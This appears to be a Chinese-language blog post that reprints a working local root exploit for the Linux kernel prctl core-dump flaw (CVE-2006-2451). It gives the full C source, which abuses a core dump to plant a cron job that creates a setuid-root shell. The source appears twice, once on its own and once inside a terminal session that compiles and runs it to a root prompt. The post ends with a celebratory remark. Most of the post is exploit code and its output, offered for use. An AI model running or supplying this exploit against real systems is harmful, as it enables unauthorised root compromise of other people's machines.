Linux Kernel PRCTL Core Dump Handling本地溢出代码

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有漏洞的内核：(Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4))
代码如下：
/*****************************************************/
/* Local r00t Exploit for:                         */
/* Linux Kernel PRCTL Core Dump Handling          */
/* ( BID 18874 / CVE-2006-2451 )                   */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)          */
/* By:                                              */
/* - dreyer <luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                               [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
printf("By: dreyer & RoMaNSoFt/n");
printf("[ 10.Jul.2006 ]/n/n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("

Creating Cron entry/n");

if ( !( child = fork() )) {
      chdir("/etc/cron.d");
      prctl(PR_SET_DUMPABLE, 2);
      sleep(200);
      exit(1);
}

kill(child, SIGSEGV);

printf("

Sleeping for aprox. one minute (** please wait **)/n");
sleep(62);

printf("

Running shell (remember to remove /tmp/sh when finished) .../n");
system("/tmp/sh -p");
}

实验过程如下：
[choatrue@localhost ~]$ uname -a
Linux localhost 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[choatrue@localhost ~]$ vi a.c
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
printf("By: dreyer & RoMaNSoFt/n");
printf("[ 10.Jul.2006 ]/n/n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("

Creating Cron entry/n");

if ( !( child = fork() )) {
      chdir("/etc/cron.d");
      prctl(PR_SET_DUMPABLE, 2);
      sleep(200);
      exit(1);
}

kill(child, SIGSEGV);

printf("

Sleeping for aprox. one minute (** please wait **)/n");
sleep(62);

printf("

Running shell (remember to remove /tmp/sh when finished) .../n");
system("/tmp/sh -p");
}

"a.c" [新] 51L, 1684C 已写入
[choatrue@localhost ~]$ gcc -o a a.c
[choatrue@localhost ~]$ id
uid=501(choatrue) gid=501(choatrue) groups=501(choatrue) context=user_u:system_r:unconfined_t
[choatrue@localhost ~]$ ./a
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

Creating Cron entry

Sleeping for aprox. one minute (** please wait **)

Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1# whoami
root
sh-3.1# id
uid=501(choatrue) gid=501(choatrue) euid=0(root) groups=501(choatrue) context=user_u:system_r:unconfined_t
sh-3.1#

HOHO，爽了吧。。。